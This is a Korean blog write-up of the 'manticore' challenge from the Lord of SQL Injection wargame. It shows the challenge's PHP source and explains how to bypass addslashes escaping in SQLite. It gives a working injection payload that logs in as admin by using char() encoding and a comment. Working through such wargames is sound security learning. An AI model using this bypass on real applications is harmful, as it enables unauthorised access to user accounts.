728x90
<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/manticore.db");
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id'] == "admin") solve("manticore");
highlight_file(__FILE__);
?>
이번에도 SQLite DB우회 문제이다.
시작부터 addslashes로 ',",\,NUL에 대하여 앞에\를 붙이는 이스케이프 처리한다.
MySQL에선 addslash를 우회가 어렵지만 SQLite에선 앞에 \를 붙인다고 '가 이스케이프 처리되지 않는다.
만약 id='\'라면 id가 \가 되는 것이다.
참고로 문자열 안에서 '를 이스케이프 처리하려면 \'가 아닌 ''(따옴표 2개)으로 사용한다.
답: ?id=' or id=char(97,100,109,105,110) --
입력하면 id='\' or id='admin' -- 이 된다.
id가 \인 id는 없어서 무시, SQLite에선 0x61646d696e가 안 통해서 char(97,100,109,105,110)으로 대체, 마지막 한 줄 주석을 사용하였다.
728x90
'Lord of SQL Injection' 카테고리의 다른 글
poltergeist (0) | 2023.01.05 |
---|---|
banshee (0) | 2023.01.05 |
chupacabra (0) | 2023.01.05 |
cyclops (0) | 2023.01.04 |
godzilla (0) | 2023.01.04 |